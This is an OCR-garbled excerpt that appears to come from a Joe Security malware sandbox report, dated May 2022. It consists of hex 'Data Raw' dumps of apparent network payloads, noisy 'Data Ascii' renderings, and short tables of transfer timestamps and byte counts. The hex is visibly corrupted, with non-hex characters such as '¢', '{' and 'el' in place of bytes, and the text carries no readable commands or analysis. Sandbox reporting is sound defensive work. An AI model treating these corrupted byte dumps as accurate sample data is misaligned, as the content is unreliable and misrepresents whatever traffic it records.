0Ob ca 5e 5f 1a e8 2c 6a 74 3f bf ac d6 bb 77 7d cb 66 47 7d 52 d4 37 7f 96 2c 39 cb ff d4 19 65 07 16 5e 4a df 74 09 40 d9
fd 6¢ d4 b3 f3 76 79 c4 38 f6 0d af el 94 97 66 26 7b 99 5e 27 92 52 07 bc ef b9 2d 3d b6 1c 38 10 3a 55 7e b5 2d 97 93
d7 98 f1 42 b0 65 00 26 c7 f2 05 ba 96 b5 a0 fb 43 17 57 6e 7b 7b 93 97 44 60 8a ch 46 bb 39 9f 04 2f 14 {7 76 a5 c7 78 3f
ca 439877 c8 ca Oe 17 c6 49 6b 44 71 2d 96 22 ce fe

Data Ascii: |.#aHDq;A="_( JA1jHw[tz7LgH~BXh880UiqgtjY38<v_"_,jt?wHG}R7,9et@Ivy8f&{"'R-=8:U~-Be&CWn{{D F9/vx?
CwlkDg-"

Data Raw: ee be 92 5a 2f 07 c0 84 b7 47 82 f8 7d 01 aa 35 88 70 00 e3 e7 6¢ b6 ea 4f b2 06 ca 01 f1 c6 58 ad fa el 7f al
c5 bb 7339 25 1c 89 64 ff b7 10 54 16 59 a2 8d 9c 34 94 e3 12 96 {3 a4 23 36 8e 29 24 h9 86 89 92 4b 50 b9 f3 67 59 70
1f of df 1f 37 95 c6 49 97 e5 fe 81 7d cd 9e aa 40 50 c9 31 c8 df e6 27 Oc c2 7a 78 f0 92 4a ef 78 29 9b 4b af 16 e6 3e e
ca 17 51 74 c0 2a e8 a5 6f 94 e6 aa da 14 1a fd fe a5 ec 1a f8 b1 96 31 98 72 60 2a 98 0a b3 2b el 48 e5 7f a3 7a e0 ee
63 2d ec a0 08 cb 3d 59 3d aa 93 ee f5 fc e4 85 ce aa 1d 7f f0 7f 87 86 c1 c1 ab 5a 9f 41 06 d8 7b ad d8 e9 1f f5 bc ef 25
2b e4 ea 54 91 86 e9 45 d4 45 e8 87 17 8b 34 ¢5 18 1b b5 59 ae 78 41 {3 24 1f 52 fa 3c 28 65 6b b5 25 11 38 3f 05 e6 64
01 39 49 d6 d7 d9 6e 8e b3 9d 76 f4 82 46 fa c4

Data Ascii: Z/G}5plOXs9%dTY4#6)$KPgYp7I}@P1'zxIX)K>Qt*0lr *+Hzc-=Y=ZA{%+TEE4YXA$R<(ek%8?d9InvF

Data Raw: 63 e4 bd aa 31 cc 6f d6 3e 1c cd 07 4c 14 48 97 02 52 92 8e a2 7f ee 3b 74 ¢9 c0 27 f7 20 dc 73 b9 5a ff 04 db
51 e3 b8 93 fb a6 81 b0 21 63 19 c6 52 98 58 0a bf bl ec 49 2a 6f 3b €3 ad b6 a6 a0 9c c3 al d2 30 02 16 83 a7 d6 cb fO
1024 11 ¢7 2d 36 d1 13 e7 d9 8d 21 f7 60 ab 86 e6 f9 2a 84 84 29 76 0Of b1l 39 38 e4 57 d6 7a ff d0 23 2e 9f 26 ef Of 8c a8
c5 1c 9c aa 8c 3c 39 a8 51 43 61 9d 91 a6 b1l 42 8f Oe 14 6a f5 20 7e dd d5 57 20 3f 03 ea 56 a6 22 28 6b 5d bc ba 64 90
7e 3176 49 64 €7 43 9e 79 4a 02 04 54 7f ae 39 36 €0 41 06 57 7d 5f 59 c0 8d 91 39 c2 4c 20 8d e2 7d fO ea 05 55 e2 43
cb 83 9b d1 1f cb 80 2e 9a d7 d1 78 79 36 64 cb 5b 9f 5b ae 4f 05 40 5f 2a 8c 99 24 31 4e dd 2a ea b2 ac 61 al 2a b6 a3
da 57 a9 39 02 be 39 40 55 63 f0 c7 Oa f1 38 5a d7

Data Ascii: CLo>LHR;t' SZQ!cRXI*0;0$-6!"*)v98Wz#.&<9QCaBj ~W ?V"(K]d~1vIdCyJT96AW}_YIL }UC.xy6d[[O@_
*$1N*a*W99@Uc8Z

Data Raw: 22 57 b8 d3 31 56 f5 10 98 56 97 c4 67 a3 61 a4 b3 84 b6 01 4d 7c 6a cO b9 84 7f 9b c4 5e 00 b0 f1 8¢ 9c f9
56 b0 Oe 78 29 ef c6 3b ce 5d b7 2b 1f 8 40 62 7f ef 9c 59 f1 bc 4b 49 70 e4 86 4e 1a 23 b0 e9 a9 dc 0d 7f cc 33 4a a7 f9
7b 19 al 1157 82 ch 29 85 0d a5 6e 44 a7 96 ab 95 72 22 03 14 5a 72 6e b7 93 05 5f d4 76 dd 32 48 3d al 54 22 d8 7a
5a40 5a f8 al d2 32 e7 3 3d cf 98 €9 1b f5 4d d9 c4 00 c6 10 5¢ 73 87 41 25 97 8f 25 3e 78 c8 b5 45 97 94 45 d4 26 86
323318 25 bd fd 70 28 82 31 ee a6 67 77 bd 1f 15 49 d1 5b e8 eb ec 54 84 b8 83 96 7e b0 4a 71 95 25 15 8b c5 Oe fc d2
02 d5 27 ae 0d 35 1f 30 48 5e c2 2e 93 e8 0f 76 38 f3 09 10 7b 16 30 79 cd b9 42 23 2b 97 e6 11 8¢ 28 8e €9 fa b0 53 74
847 a7 fa bd de b9 a2 d4 b4 5¢ 56 73 b8 4f c8 63 fb 8b

Data Ascii: "W1VVgaM|jAVx);][+@bYKIpN#33{W)nDr"Zrn_v2H=T"zZ@Z2=M\sA%%>XEE&:3%p(1gwI[T~Jq%'50H".v8{0yB
#+(St\VsOc

Data Raw: fd 4b db bd 47 99 f4 6f 7f 3f 60 1c db f3 51 a4 65 9a 5b 43 {7 25 fc 63 34 4e ed ba f4 28 5f a9 32 60 68 e7 14
3a ba b0 e5 1c a0 fe 10 ch 5¢ 57 cd b8 90 65 38 30 d1 66 b3 39 b2 c1 47 dd f3 01 bb 2b 00 al ac 63 5e dd 35 52 03 5f 91
da e9 6b 6a 6e 31 7b 78 03 8e 6¢ 48 30 2b d1 2d b5 79 5d 7d da ab d5 ca 98 b2 66 08 1d 59 66 a9 b9 e5 5e 1f 9b 47 f9
a8 3d 83 e2 85 55 aa d2 93 d0 4c 23 e5 5 al 94 6¢ d2 24 a5 2b 1c 7a 9c 79 f0 29 f0 67 a4 a4 3d b7 48 e3 e8 ef €7 5e 94
54 7d 8f 86 9e 5¢ 30 da de 13 89 72 96 bd €3 39 4c ¢5 89 71 46 f5 16 dc a3 e0 ef 6d 67 95 20 b5 f0 21 28 87 9a 4a 15 c2
33 7b 85 ¢6 bf 66 64 85 37 31 ¢8 2c 6e 25 f3 b7 5a 67 de 7f fa fc ed 2b Oc d2 bf 64 dd 3a fe 8f 91 c4 93 df c4 5a 1d 83 d8
Oe ac f3 46 28 58 d0 4c Oa a4 d3 42 9c 44 5f 76 af 7e

Data Ascii: KGo? Qe[C%c4N(_2 h:\We80f9G+c 5R_Kjn1{xIHO+-y[}fYAG=UL#I$+zy)g=H TNOroLgFmg !(I3{fd71,
n%Zg+d:ZF(XLBD_v~

Data Raw: 36 b9 f4 4c a7 3f f6 cb 12 4a c2 2d a7 da 18 5d dc 76 b3 ba c9 08 3b 20 b0 f3 Oe 56 fO c5 82 46 11 aa 69 99 92
cf d7 b9 18 f9 b4 9b 6e 2e 29 Oe 86 74 46 7a 5f ad 05 4c fd 34 81 85 31 ba b5 1f da 5d 01 84 a9 c0 92 01 f5 65 34 12 c9
84 dc fa 1b 59 0a fc 9f d2 c1 08 4c 29 be 8 fa 49 5d f8 59 0d 1d 96 5f bc 9f d3 5b 82 de cb 37 Oe 1le 78 e2 f4 e4 97 3a d3
8f e5d4 92 74 6d 31 15 fe f7 65 0d db f2 66 aa af 5¢c b1 77 b9 9e 43 7b Ob 93 06 9a dd 34 22 9d 19 fa 37 f6 bc ba c0 04 2f
25 7e 99 71 a0 Of bb c0 ca 99 05 e0 cf 47 44 d5 40 5¢ 69 1d 04 bf 89 98 4d 15 f3 00 13 2c ce ce fO cb d9 e9 49 62 5d 9¢
37 36 32 56 4d Oe cd c7 Oc 52 3d d6 8b 54 c5 3e Oe df 8b ba ad 9a c4 59 7e 87 76 cf 8a 99 42 b4 51 12 29 9c d1 ba 02 51
c38b b3 97 fa 32 e9 b8 b4 8f ef 3f 52 61 46 2e

Data Ascii: 6L?J-]v; VFin.)tFz_L41]e4YL)I]Y_[7x:tm1lef\wC{4"7/%~qGD@\iM,Ib]762VMR=T>Y~vBQ)Q2?RaF.
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 20 IN
2022-05-02 11:02:01 UTC 21 IN
2022-05-02 11:02:01 UTC 22 IN
2022-05-02 11:02:01 UTC 24 IN
2022-05-02 11:02:01 UTC 25 IN
2022-05-02 11:02:01 UTC 26 IN
2022-05-02 11:02:01 UTC 28 IN
2022-05-02 11:02:01 UTC 29 IN
2022-05-02 11:02:01 UTC 30 IN
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Data

Data Raw: 5c¢ f2 8c af ac 12 b4 ea be ec c6 0f c9 ce d5 2f bc 9d aa 1d 07 ff bc 5¢c d7 eb 78 Oe 9a f0 33 13 e3 74 a0 32 34
5a 25 7b ce 85 a5 45 13 dd 9d Oe af d0 87 be 52 32 f5 17 24 95 66 dc 7e bc ec 13 cc b8 66 1e 1b 67 ef cf 7e fa 5d b4 ea
5e Oe dd 4b 15 0d Oe e2 41 73 82 a6 94 60 b5 7a 81 7f 16 c5 12 9a 83 d7 e3 ec 5e 80 13 b3 a7 3b 44 71 75 5d b9 a7 80
2387 bf 81 b3 e6 bf db 7d 8e b2 3e b7 1d 16 84 1a 9a 68 4a 04 6a ab 4f e6 1e 46 df 99 68 b8 48 7f 8d f6 37 2d 2d b4 19
49 1c 93 7f 74 b9 9d cd 75 f3 64 bb 3e 8e b9 27 74 36 77 fe d1 2f 6f 41 e6 d2 16 ec f0 73 87 26 c6 7 c7 71 69 c6 5b 61
d8 ef c8 e6 9d ba 97 c6 82 20 90 fc 68 63 93 92 f4 50 16 4b 4b d9 ba dd 2e da 4e 60 €9 b2 45 13 77 5e 8c 40 6e a7 9b 57
2c el 8e ed 88 b8 36 8e 60 8d 20 fe 45 d1 7f 1d db ff 63

Data Ascii: \\x3t24Z%{ER2%$f~fg~]"KAs z";Dqu]#}>hJjOFhH7--ltud>'t6w/0As&qi[a hcPKK.N'Ew*@nW,6" Ec

Data Raw: bb b0 3e f8 8e c2 54 ef e8 e4 1d 77 7a 4e 87 cc 28 fa c4 d5 1d 71 a3 84 d6 d9 93 43 c7 5f d0 49 8a 2f Oa c3 14
00 2e bc ad 4f 39 1b 8e €8 5 6d 46 a0 f4 bb a6 fc 95 60 c5 94 9d f1 8a 10 87 e2 91 91 db 75 82 b6 c2 b3 €0 a6 56 d9 a2
6c 8¢ 88 24 da 2e 98 96 17 fc cc e4 al 3c 67 66 e4 55 9d 42 50 28 f1 b3 e3 ¢7 ¢8 90 ec ae f6 a4 61 5d 37 bb 6b 35 f2 32
0d 4b de ce 74 5d 84 ca 34 Oe 1c 5a 81 28 ce fc 26 f0 02 20 f1 33 d8 b1 c8 a3 3a 2d b6 78 ba 12 40 5d a2 ce e2 14 89 c2
a2 50 cb 2f 87 32 c1 €9 8d 20 ce 99 €9 c8 5a 13 5¢ 6e d4 41 e0 da a5 51 37 4a dd 39 33 fb 8d 22 ed 26 d1 48 a6 9a bf 6f
6 a4 c8 db fe cc 46 Oc af 1a bl ec 85 ee 6a 57 ed 29 b7 c2 68 0f 6a cb 56 45 1b a7 c¢8 76 9d 7a a3 f6 eb 58 eb a0 df 31
16 a7 9c ae 53 65 7b 8¢ 97 ed 07 9b 05 1a ec 10 8b Ob

Data Ascii: >TwzN(qC_I/.09mF uVI$.<gfUBP(a]7k52Kt]4Z(& 3:-x@]P/2 Z\nAQ7J93"&HoFjW)hjVEvzX1Se{

Data Raw: 27 23 07 dd 6b a4 93 8f Oc f6 4c ae 16 15 ca 2e ec 86 30 aa f9 e6 47 eb 7f 7c 69 d4 49 8f 95 8d 9e bd 2d 05 f2
a2 6d 66 fd 9e ec 51 92 92 10 8f 25 84 c6 f4 5¢ 07 1a 73 05 c1 ad 85 aa 95 4b 4a Ob 25 f5 ed 38 52 86 85 be b4 99 Ob c1
12 f1 9b 9a 96 28 2f 55 c4 16 9e 09 1b 7e 2b 98 ac d5 94 de 5a dd 6b 80 6f dd fd 41 1f 56 2a d1 c9 8f c8 €6 97 a6 46 e7
e2 fce9 61 8b ac 78 81 eb 19 22 df 4c 80 7c Ob 6b ab 22 95 10 23 82 26 fa 9a 4d 47 a4 7a 31 25 a2 8b 21 ec f7 eb db 88
ab 9c 4c 89 3c 39 51 25 9b 35 b6 af b9 89 02 12 28 Oc 55 cb 9d 93 3d 61 85 95 €9 77 fb ed 16 74 e3 1e c6 fa 9e c9 7 76
69 f1 3a ad 4e 7f 53 a4 e5 6¢ ed fd 23 cf 72 64 d1 b5 f9 6f e0 75 1e f3 1c 16 e8 cd 10 69 9b ab 1e cf ca fO 2d e8 d3 Oe b8
87 Oc de ec 79 68 22 14 9a f0 bd 35 17 bc 8e 23 26

Data Ascii: ‘#kL.0G|il-mfQ%\sKJ%8R(/U~+ZkoAV*Fax"L |k"#&MGz1%!L<9Q%5(U=awtvi:NSl#rdoui-yh"5#&

Data Raw: 83 ae 8f c9 6a 48 b8 6f al a9 de cf 93 b9 eb b9 a2 25 07 06 7c 1d 00 50 98 ba 18 e4 53 d4 a0 86 a3 dc 93 60
b557 a0 7f cd b1 d6 a8 ed 2d aa 1c b3 72 08 4f 60 f6 96 55 5f f5 06 4d 19 17 32 9a c7 94 68 8a a0 23 fd 5f 55 45 cf 2e a8
24 46 d0 0f d8 7e cd fe 45 ¢4 17 7a 96 7d 51 38 bc 7d ed 6a c1 72 ac 26 06 f6 6e 41 39 bd ac a6 cd fe 85 af e7 af 51 ac
05 24 fa 1a 83 08 23 4e 4c 13 2b d2 8b fa c8 13 3b 96 a3 ca 72 f1 bc 63 7c 69 e0 43 f6 63 cc fO Oe 47 ¢4 d6 91 2¢ 81 e7
78 bd f9 a0 77 bd 9d 80 97 b6 7b 48 1c 13 ea 64 €7 5e 44 a9 87 ad 53 b6 3c 66 €6 1a el 44 db 4e 13 74 be 96 fb 6d 04
40 18 d8 d3 05 32 0f ef 9f ec ¢8 bf 0d 57 fd 2b 52 af 10 4d b8 ac 04 70 6d 5d ad e9 78 2a 41 92 87 2c 8c 22 d4 78 Oc 46
57 4e 33 72 d6 4b 84 d0 al eb fa a8 f9 46 9a c5 9e d7 5b

Data Ascii: jH0%|PS'W-rO’U_M2h#_UE.$F~Ez}Q8}jr&nA9Q$#NL+;rc|iCcG,xw{Hd"DS<fDNtm@2W-+RMpm]x*
A,"XFWN3rKF[

Data Raw: b3 51 62 26 a9 18 75 d8 99 5e c0 53 06 93 8b f7 57 4c b3 04 e8 fe aa 49 a3 80 94 2c 79 30 37 96 3b eb af 93
63 3f 44 de c4 a0 3a 25 c8 5e 80 82 29 81 36 58 52 0d 76 6e eb Oc b1 02 b8 cc ea 49 04 33 ac e5 8d c8 be c7 89 66 f4 71
31 4d 55 df bf eb 83 79 1a aa 73 60 37 e8 c6 75 81 28 16 6b 46 0d ef fd d1 4a bf 1b el bb 25 a4 87 15 eb 76 a0 7a 7b f3
d1d1 ee c8 84 af 48 13 ee 65 24 fd d6 b6 ce 95 2b e2 f5 5a be 26 d6 8e 7e a6 73 92 a5 15 84 31 a3 4d ba 29 93 64 df 60
8 78 62 6¢ c5 bc d0 ab 77 45 db 7a a6 e5 ac 39 e2 c¢7 al a7 4e e3 83 f0 3d 7 11 b5 22 8e 56 67 8f d3 97 55 a5 01 29 c5
6254 77 22 bc 4b 07 a8 c4 8e cc 27 3 92 05 04 44 33 e2 f4 86 Oc 96 ¢8 80 58 d1 12 5a 2b ee 31 00 ca el 43 d0 11 b4
97 b6 d3 bb cf 01 bl 4d f9 11 26 62 b5 94 7d e0 58 5d c6 8c

Data Ascii: Qb&u"SWLI,y07;c?D:%")6XRvnI3fqlMUys 7u(kFJ%vz{He$+Z&~s1M)d xbIwEZON="VgU)bTw"K'D3XZ+1CM&
b}X]

Data Raw: 07 ee f6 dd 3c dd ae 75 ed 10 e4 99 33 3d 4c 63 62 cb 6b de 5e 5d b5 df 9e 40 3a 32 c0 79 62 ce le 48 c3 8a
a2 f6 9f ef bd cb 6d Oe 9a c9 93 57 11 11 54 8 fd d6 f4 f6 99 ad c9 4f 71 83 eb 97 b4 7f 06 c6 Of 43 4d a4 b3 49 40 a4 2f
71 c5 d2 eb 53 43 0d 4e cf d5 97 5e c0 49 73 41 fO 3e 30 b9 19 3a 76 39 a8 7b 0f 82 Oe 7b 98 7c 13 22 6b ad 35 fe 91 cc
€5 36 cc b4 d1 c¢7 12 bf be ac 34 d0 59 fc 7f b0 74 be 46 82 ad c9 fd 12 8c 0d 89 8a a0 90 2f 69 16 Oc 58 61 4a 99 47 c4
0d b8 f0 ef db cf 86 87 c0 34 d2 c8 Ob bf 0d a8 b9 1b 64 a4 94 b3 23 5d 7b 35 81 88 ad 93 f6 00 f4 b3 fe e5 94 3f c2 6f Of
56 77 50 73 ac d4 bc Oa b2 df 63 ¢8 72 36 14 07 34 d5 d5 84 81 d2 57 78 a8 27 c5 27 a6 ad 95 8f c0 89 7c e9 8f bf 64 d6
ef 6781 8c aael 1930 ec c4 d6 af 71 9c ed e8 aa

Data Ascii: <u3=Lcbk"@:2ybHmMWTOqCMI@/qSCNAISA>0:vO{{|"k564Y tF/iXalGA4d#]{5?0VwPscr64Wx"|dg0q

Data Raw: 78 c6 47 f0 09 37 2c ac 01 4a 37 53 7 fb 59 82 c6 b8 35 cb 45 07 4c 6e 51 7a c6 15 90 67 81 71 02 fe 46 57 13
3a 31 1d 65 1b 82 8d e4 dc 2e 1d b5 53 66 67 72 f8 24 39 98 c5 25 fe ed 63 99 ¢7 d2 bd 1e c0 18 83 fc 30 47 7a a2 22 64
59 d8 1c 06 ac 74 01 d4 63 e6 7b 16 c4 35 c3 0f aa d5 d9 bc 71 10 28 6b ae 5b 50 72 26 32 64 1b b6 3e b3 d8 8d 76 89
8027 d1 68 eb 04 26 Oc 65 b9 Ob f8 50 Oc 3c 51 Ob el 6d 30 ba fe 75 46 38 63 7f b1 12 8f 3d 9b 4a e0 9f c7 76 2d d5 35
59 20 ac f5 76 b7 66 d7 89 32 3d ab 88 93 42 f6 42 Ob d1 1a 5e 1c 44 79 ba 35 98 7c e2 84 83 ce e6 57 74 c7 0a 65 6b

0a e7 b6 Oe c4 e2 0d el el a0 95 52 8e 8a 56 b7 2f 6a 6f d3 23 47 65 28 f8 b5 f1 52 62 fO b0 4c e6 8b 38 8f 3f 78 4b fa 65
12 0e c6 a3 9c 69 e8 dd al e8 99 a8 aa 6a Oc 64 36 00 1c

Data Ascii: XG7,J7SY5ELnQzgqFW:1e.Sfgr$9%c0Gz"dYtc{5q(k[Pr&2d>v'h&eP<QmOuF8c=Jv-5Y vi2=BB~Dy5|WtekRV
ljo#Ge(RbL8?xKeijd6

Data Raw: 74 43 ¢4 b5 c2 46 b9 bc 7e 2b fb 28 48 9b 5b el 1d fa 03 c9 d4 e6 al 25 29 46 70 a6 ¢5 d8 ed f0 c9 8b 55 79
da Oe df ca 1f c2 39 75 cd 3d ab 1a 7d e2 3 5d ab 24 42 22 d9 al a8 e4 66 5b 17 92 a2 4f d1 51 03 4a 97 1f 9b 04 b6 d6
6f Ob 9 c8 €2 fc f4 2d 2¢ 5b de 9b a8 05 29 83 dc 41 94 ea 4a bf 05 7b a5 c5 66 d3 27 0d fe d8 12 fe be 28 2e ¢6 9 2a d9
a5 91 f1 64 5d 9b f3 8f 48 3a b4 64 11 90 7e 94 18 6b Of da Oc 20 04 c2 91 a5 86 ed a9 3d a9 8a d5 81 a4 10 e8 3¢ 94 bf
f0 61 02 83 20 02 8a 16 2d fd a6 af 06 2e 9e fe 87 70 50 15 77 bf 6d 6b 02 d7 cb 16 3d 72 3b 79 73 89 2f ¢3 60 a6 5d 12
20 43 79 01 3f 56 06 c1 2a 24 7d ed 78 Of b7 66 34 64 71 7 0a 2b 86 87 9f 98 €2 05 c4 a3 49 10 16 af 96 33 d3 81 23 5a
52 46 d8 d4 b7 43 23 f4 79 ee dO 4 7b b5 2e eb 97 5e

Data Ascii: tCF~+(H[%)FpUy9u=}$B"0QJo- DAJ{f(.*d]H:d~k =<a -.pPwmk=r:ys/"] Cy?V*$}xfadq+I34ZRFCHy{.A

Data Raw: 5f 20 19 d5 5f bb b2 6 f1 fb 68 €6 79 28 ab 27 28 fd d8 89 34 cd 54 79 2d 7f 03 e8 06 ff 13 ce 6e dd d4 5f 8d
b0 4b 84 06 0d ab 93 6d 08 78 5a cf 8b a9 3a a7 42 e4 b1 91 2d ab 3c 6e 44 51 1b Oe 20 aa af ae 66 fe d0 7c 42 a0 8a af
57 5f 95 b8 ec c4 22 e8 2e 60 00 e5 16 f4 12 1d fc db da 9e 4e 21 33 2a 61 13 50 47 d1 15 a8 26 ee bf 22 {8 21 c8 cc 33
b7 23 ef 6f f0 48 24 75 6f 12 86 fe 00 fc f0 06 08 44 dc 29 Oc 2e 7d df ac 19 3d 54 b7 2d 63 81 fc 46 8f ae 4e 80 24 4d 9a
9b 4a 2e 78 1d 2e 3f 5a 37 8f eb 6f 7c 4f 6a 50 34 7d 4b 1f 9a ee ¢5 25 1c 6¢ 3d d3 Ob ¢6 c¢7 8f d2 08 e8 d2 5b 38 fa fc al
4f 5d 34 d3 95 d3 b1 06 c5 f7 50 a3 6e da 35 b8 2c 67 27 90 86 b4 3¢ 50 30 c0 94 bc 72 bf c6 al f0 7d aé af d4 e7 97 b2
b2 fb f2 82 7a Ob 1f 06 60 69 88 c9 bc 15 03 5b

Data Ascii: _ _hy('(4Ty-n_KmxZ:B-<nDQ f[BW_"."N!3*aPG&"13#0H$uoD).}=T-cFN$MJ.x.?Z70|0jP4}K%I=[80]4Pn
5,g'<POr}z’'i[
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 31 IN
2022-05-02 11:02:01 UTC 33 IN
2022-05-02 11:02:01 UTC 34 IN
2022-05-02 11:02:01 UTC 35 IN
2022-05-02 11:02:01 UTC 37 IN
2022-05-02 11:02:01 UTC 38 IN
2022-05-02 11:02:01 UTC 39 IN
2022-05-02 11:02:01 UTC 41 IN
2022-05-02 11:02:01 UTC 42 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 28 a6 8f 26 c9 78 a9 67 4b 3b 08 2f 8d ba e2 64 44 43 28 d7 bc 5d 62 ad 65 a9 96 87 01 2b Ob b7 55 51 cb f5
af c5 6a 98 7f a9 81 eb 04 d9 56 8a 2b 0d €3 d0 ad a2 58 43 fe a4 fe a4 b4 ab f2 22 ¢7 77 4c 77 2e c2 6b e0 e2 58 4e 84
c5f0 c0 81 78 ce 13 41 20 41 9f f8 2d 2d fe af 8f bc df cb b6 b5 3b 3d 40 8e 27 d8 c4 aa 1d Of dd c3 af d6 cd bf b3 a7 a3
eb 24 dc 28 9e 5a 94 5e 7c db cd 10 57 fd 4f 93 91 76 dd c3 7d a7 41 fa dd ac 40 69 23 17 33 80 2a fe 95 05 €9 89 el fO
3d 3e 9c 29 ce fd 64 ef ad 77 b9 9d 21 fc d4 d7 f9 4c 3b 8a c0 2d 00 7e d8 3e f5 a3 9c 38 90 b9 ac 7e 2a 71 25 25 25 2d
ac 53 94 75 0b 49 7b 6b 4e 72 e3 €0 Oc b8 fe 7b 59 4f ac 01 bf d6 51 Ob b7 59 98 9a 6b e2 9d c9 cc 05 5d 1f 6a 89 e fe
f7 42 57 a6 7a 06 7f a3 ce 87 e8 2c 28 b4 c9 11 a9 47

Data Ascii: (&xgK;/dDC(]be+UQjV+XC"WLW.kXNXA A--;=@'$(Z|WOVIA@i#3*=>)dw!L;-~>8~*q%%%-Sul{kNr{YOQYK]
BWz,(G

Data Raw: 5b cd f1 de 5a d9 86 ad 42 e4 1a a4 92 dd 4a d8 05 d1 08 bd c9 ae 81 1f 78 a4 ba d3 62 e8 5d 98 €9 le 43 4a
2936 c0 1b 7 35 Oc d9 39 7f 75 bf ef f2 78 31 7b 1f 4f 69 44 42 87 c2 5f ac 5¢ 65 3c 0f 02 e2 db 03 f2 8c ca f5 df 5d 82 89
bf db c4 14 22 41 ¢1 01 58 11 06 dd 55 b3 ¢4 2b 12 43 99 a8 58 40 a0 d2 2c 2a 79 40 8d ae e3 19 95 dd 84 ad 85 3a bb
857100 3a 76 7d e7 49 37 14 0e 50 38 ec 4b 85 b0 84 f4 72 Oc 67 2d eb c2 95 4e 5c el 87 9b 99 d9 eb 6¢ b5 92 72 c9
c2 cf 2d fe 2f a7 98 36 ec 03 11 59 6b e2 50 ff 2c ec 1b 30 32 cb 73 90 25 96 db 7a 87 eb 88 eb 13 5e f9 d2 7c 81 8e e0
7b df ef Of 76 98 2e 1b 35 eb f4 48 ba 28 3b 90 eb 02 el 4e d3 ec 54 55 34 e8 db ff c2 52 3d 5c 4d 41 98 03 4a 78 fd 6f 52
0d 35 6b 25 5e b1 31 37 e0 e0 95 37 ac 87 ab 61 16 17

Data Ascii: [ZBJxb]CJ)659ux1{OiDB_\e<]"AXU+CX@,*y@:q:v}I7P8Krg-N\Ir-/6YKP,025%z"|{v.5H(;NTU4R=\MAJx0
R5k%"177a

Data Raw: 9a dc ad c4 8a d9 55 f8 57 9a af 4a 4a ec 65 19 78 eb 57 e6 9f 66 a4 63 cO e4 21 f5 c9 6f 8e 08 d3 71 62 79 f6
0f c4 7d 05 51 8b 73 22 7f df Oe 39 47 20 89 4c 63 24 b4 a8 81 €9 c5 b0 97 a3 70 cd 85 8d 4d b0 45 47 51 df 1e cf d9 1f
d2 29 6f f4 50 42 d1 d9 8 4e 75 54 83 d8 45 a4 46 50 91 49 83 e5 42 e9 ec 83 36 ¢5 3b a7 18 34 2c Oc Oc €0 90 a5 85 f0
e8 ed 94 17 30 97 eb f3 56 5b a5 2¢ 90 51 d3 Oe df c3 52 7e 57 d8 4a b8 8b 9f 68 65 35 be 5f 1f da ad a6 b0 f1 89 ef a6
25 58 e7 c9 3b 8f 24 2a b6 ca 73 8d 5e d6 05 b7 94 93 6b a5 65 fa c¢7 4f b8 f2 94 8¢ bf 90 91 be 23 67 53 39 ec ec 18 39
ca 8f c1 58 a6 6f a8 d8 46 d2 d5 da c4 33 dc 25 57 37 a7 95 4e 6b c7 ea 21 c4 7e ef 59 43 52 bb d3 3 78 32 01 {7 df Of b0
db 21 67 1e 71 1c 1a 25 8b 4a cd 48 7f 55 50 d9 96

Data Ascii: UWJJexWfclogby}Qs"9G Lc$pMEGQ)oPBNUTEFPIB6;4,0V[,QR~WJhe5_%X;$*s"keO#gS99X0oF3%
W7Nk!~YCRx2!gq%JHUP

Data Raw: 58 ac b4 8c 8c 6 36 1f d7 81 37 d9 55 23 6b 94 27 21 2f 64 dO 4e c9 09 31 al e7 6e cb 79 fO 27 45 66 8b b9
09 36 23 ac 49 4d c7 d0 b5 94 58 92 2b Oc 50 6f 53 fa 37 9e 7a c0 ea e7 a2 3¢ 1e d6 9a 99 31 5e b9 28 c3 f6 a9 20 9f 00
3c 7d 8 ea 8 5f bf e9 fd 93 79 87 21 75 b0 52 8f 38 60 51 fe 43 3 18 95 el 19 af a5 7f 58 bc 9b e8 d5 cc 5f 8b 7d 34 f5
23 ee 66 1f 52 af 06 12 bc cd 00 fb 54 1e a2 eb {7 4b f0 39 7a 5a 72 08 98 4b 50 43 c5 b4 83 89 9d 43 d3 4d b8 ce 3d b8
bc ec f3 8f db ee f2 ed fe c6 03 86 bd fd 30 21 0a a3 89 b9 be c3 2 f4 8b f8 2c 4a 89 49 db c2 c7 7a 2b 44 c5 af 7d 10 c8
e2 7fa8 37 ac 8a a3 66 ab 46 b0 el 75 7e 31 9e 52 19 34 02 cb 6f e6 4d d1 71 a2 47 74 2f 40 04 18 dc fc 80 4e 25 e8 09
c2 5e 8b cd 3f 9a 6a dc 97 f9 14 {3 6e ab ae a8 df

Data Ascii: X67U#k'//dN1ny'Ef6#IMX+P0S7z<1/( <}_y!'UR8 QCX_}4#fRTK9zZrKPCCM=0!,JIz+D}7fFu~1R40MqGt/@N
%72jn

Data Raw: 7a 04 fe ee f6 Oe 65 a7 ca 08 aa db 84 85 1d 65 74 a9 77 57 5a 1b 2d 86 44 19 5e bd 0a 9e 20 76 da al 6e 55
ead5 4b 61 dd b9 3c 14 Oe b0 f2 07 27 0a b9 e6 c9 7c 58 97 f9 82 8¢ 8b €9 7a 57 4b ba Oc d4 dc dd 94 c5 56 1f d7 bb 03
36 6d €9 f1 61 05 74 ed 4e ff b8 fd bb dO d8 10 93 2c a5 e8 82 b8 62 al 01 37 5¢ 9b 23 a5 1c 9c 63 18 f2 e0 73 ba fc ca
1 9c 36 €8 7b 18 00 6d b6 6e 34 ec 51 00 7b 82 ba df af 80 a4 11 ba 9d e9 61 2f 05 f5 Ob 63 af 31 ab 7e 1e d6 8c cb 47
f9 fe 8f 29 5a d1 85 d3 af 41 d8 6f 55 c9 cf c2 5e c0 ¢8 90 2c 29 f0 00 40 04 89 37 be c1 48 97 aa 6e 13 d9 74 50 b9 92 c8
61 87 25 10 7f 3e 36 c2 84 80 a9 5f 90 37 f5 32 ¢6 95 f2 71 10 a2 be 65 40 ba b2 7f 01 5¢ 18 9f 80 53 8¢ d7 bb c0 da 4d
26 fafa b6 €9 1a 19 87 9c e0 cd db a7 a8 cc e0 55 83

Data Ascii: zeetwWZ-D” vnUKa<'|XzZWKV6matN,b7\#cs6{mn4Qfa/c1~G)ZAoU",)@7HntPa%>6_720e@\SM&U

Data Raw: 4b 53 48 b1 d8 ae ba bc 84 2a 0f 54 94 21 3d 7a db 22 3b 2f ef cb dc 61 b0 75 df 9e 3 2b cb 6f b1 36 2¢ 25 cd
17 dd f5 f1 0a 53 cf 5f a7 d8 aa 68 68 1f ee 86 8a 46 39 c2 9a 90 c3 e4 19 46 c5 98 a8 59 12 81 bf al ee cf dd 03 a4 fa e6
